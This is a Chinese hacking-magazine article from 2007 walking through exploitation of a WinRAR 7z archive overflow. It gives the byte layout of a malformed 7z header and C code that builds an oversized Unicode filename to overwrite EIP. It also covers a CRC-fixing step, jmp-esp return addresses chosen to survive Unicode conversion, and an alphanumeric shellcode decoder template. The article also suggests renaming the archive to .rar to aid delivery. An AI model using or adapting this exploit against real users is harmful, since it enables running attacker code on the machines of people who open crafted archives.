RSS
热门关键字:  Linux  图形  项目管理  LAMP  java
当前位置 : 主页>开源安全>列表

WinRAR 7z压缩包处理溢出分析和利用

来源:黑客防线 作者:sherman 时间:2007-10-25 点击:
security.nnov.ru在06年底的时候发布了一个针对WinRAR 7z溢出的POC,可以导致执行恶意代码,可能有些朋友认为7z格式出问题不是那么严重,但WinRAR有个不算Bug的Bug:它是不认扩展名的,这意味着7z格式的压缩包扩展名改成rar还是能被解压,这就给恶意利用创造了机会,嘿嘿。

    WinRAR安装目录下的一个Formats的目录里面有许多扩展名是fmt的文件,但其实都是DLL,供主程序调用处理不同的压缩包。在7月份的时候LZH格式也出现过Stack Overflow,但这次的7z溢出严格的来说并不能称之为Stack overflow,看完漏洞的分析就知道为什么了。 字串9

    既然已经有了poc,我们就没有必要自己去阅读大把的7z格式说明文档了,7z是开源的,在他的官方站点(www.7-zip.org)能下载到格式说明和一个开源的工程,感兴趣的朋友可以仔细研究下7z的文件格式。这里我直接给出作者在poc代码中公布的一个已经构造好的畸形压缩包: 字串4

unsigned char hz_part1[] =
 "\x37\x7A\xBC\xAF\x27\x1C\x00\x02" //前8个字节是固定的
 "\xEE\xD6\x49\x23" // 7z头部32字节的CRC1
 "\x00\x00\x00\x00\x00\x00\x00\x00" //下一个7z头的偏移,这里是0
 "\x2D\x40\x00\x00\x00\x00\x00\x00" //下一个头的长度,这里是0x402D
 "\x3D\xC3\xFE\x9B" // 除前32字节外的CRC2
 "\x01\x05\x01\x0E\x01\x80\x0F\x01\x80\x11\x80\x01\x00"; //下一个头开始

字串7

char filename[0x400A]; //超长的文件名,Unicode编码 字串2

unsigned char hz_part2[] =
 "\x14\x0A\x01\x00\xF0\xDE\xE9\xB5\xBF\xF2\xC6\x01\x15\x06\x01\x00"
 "\x20\x00\x00\x00\x00\x00"; //文件属性等信息
这样,一个畸形的7z压缩包就构造好了。

字串1

    不过先别急着打开,WinRAR会对7z压缩包进行CRC32校验,假如校验有错的话就会提示压缩包损坏。所以我们必须自己重新计算CRC校验值。所幸的是,czy大牛的博客上公布了一个计算7zCRC校验的程序,我在他的基础上略微更改了一下,在此表示感谢。假如大家为了练手要自己动手,那么有一点需要注意,由于第二个CRC值会间接影响到第一个CRC校验,所以必须首先计算第二个CRC校验值,CRC32的算法网上一抓一把,我就不多说了。我提供的7zCRC.exe默认校正当前目录下的test.rar,这一点也请注意,7zCRC.exe能在黑防网站上的配套代码里能找到。 字串2

小试牛刀

字串2

    也许大家会奇怪为什么图1里面我文件名填充的为什么是重复的0x9960呢,答案就是Unicode,7z要求文件名必须是Unicode编码, 0x9960就是两个nop(0x90)的Unicode,对于Unicode我也不多解释,有一点需要牢记:0x80以上的会被转义,举个例子: 0x4100大家都知道是大写的A,但是0x9000就不是大家所熟悉的Nop了,依据语言环境的不同可能会被转义成乱码,正是这一点,给我们的完美利用带来了许多的麻烦。我们双击打开压缩包,然后要点解压到才能触发,WinRAR出错了,如图2: 字串3

    Offset:90909090 嘿嘿,EIP被覆盖了,接下来要做的就是定位溢出点,两次定位法,我还是不多说,自己翻以前的黑防。我直接给出结果,溢出点就在(filename+8)开始的四个字节,由于我们的Shellcode在栈中,习惯性的想到了中文2000/XP/2k3下通用的Jmp esp跳转地址0x7FFA4512,下面看我的代码:
//写入超长文件名
char content[0x2005]; //0x400A/2 = 0x2005 用于ASCII向Unicode转换
memset(content,0x41,0x2005); //填充0x41不会引起转义问题
memcpy(content+4, "\x12\x45\xfa\x7f",4); //
MultiByteToWideChar(CP_ACP,0,content,0x2005,(LPWSTR)filename,0x400A); //Convert
WriteFile(h7z, (LPCVOID)filename,0x400A,&dwWritten,NULL); 

    这时候栈的地址是在0x17Dxxxxx的地方,马上重新生成一个压缩包,打开,但出错的地址不在栈中,意味着EIP没有跳转到栈中。 字串7

    奇怪,3f是哪来的呢?经过我查资料,Unicode是双字节码,3f表示的是未知字符,文件名的16个字节经过 MultiByteToWideChar函数的转化以后已经变成了下面这个样子\x41\x00\x41\x00\x41\x00\x41\x00\ x12\x00\x45\x00\x3f\x00\x41,看来这个地址是用不了了,poc代码的作者提供的是0x100201BB这个地址,这个地址是在7zxa.dll的.rdata段里,虽然这里面有个0xBB但是由于它处在首尾两端,我们还是可以给它补一个字节,这样就不怕转义了,但是在测试中我发现7z.fmt和7z.dll的加载基址几乎每次都是不一样的,所以这个地址也只能放弃,难道我们真的要放弃?

字串7

柳暗花明 字串3

    我们的跳转地址必须符合三个条件:1.需要能够跳回堆栈 2.四个字节不能出现>0x80的字节 3.或者出现0x80以上的字节不能出现在中间两个位置上。我打开OD的内存,一个个模块搜索过来,黄天不负有心人,在所有加载模块的最高处, Shell32.dll的.text段里面居然让我找到了:0x7D646981,嘿嘿,跳转地址就可以这么构造 0x41000x4100x4100x8A7C 0x69000x64000x7D00,其中是0x8A7C是0x81的Unicode,但这不是完美的解决方案,不是每台机子的0x7D646981都是Jmp esp,但同一个SP下Shell32.dll加载的基址应该是固定的,至于如何实现通用,这个问题还是留给读者吧。Shellcode的定位问题算是暂时告一段落了,紧接着而来的问题就是要有能经得起转换的Shellcode,对了,纯字母数字的Shellcode就是符合这样要求的 Shellcode,经得起MultiByteToWideChar折腾的也就这孩子了。幸亏黑防上期刚刚发表过关于编写纯字母数字的Shellcode 的文章,不然我得多打一个小时的字:)不知大家是否已经有了自己的AlphaNumric的Shellcode了,如果没有的话,我找来了一个生成的模板供大家使用:

字串9

{ "nops", "IIIIIIIIIIIIIIIIII7" mixedcase_ascii_decoder_body },
 { "eax", "PYIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
 { "ecx", "IIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },

最新评论共有 0 位网友发表了评论
发表评论
评论内容:不能超过250字,需审核,请自觉遵守互联网相关政策法规。
用户名: 密码:
匿名?
注册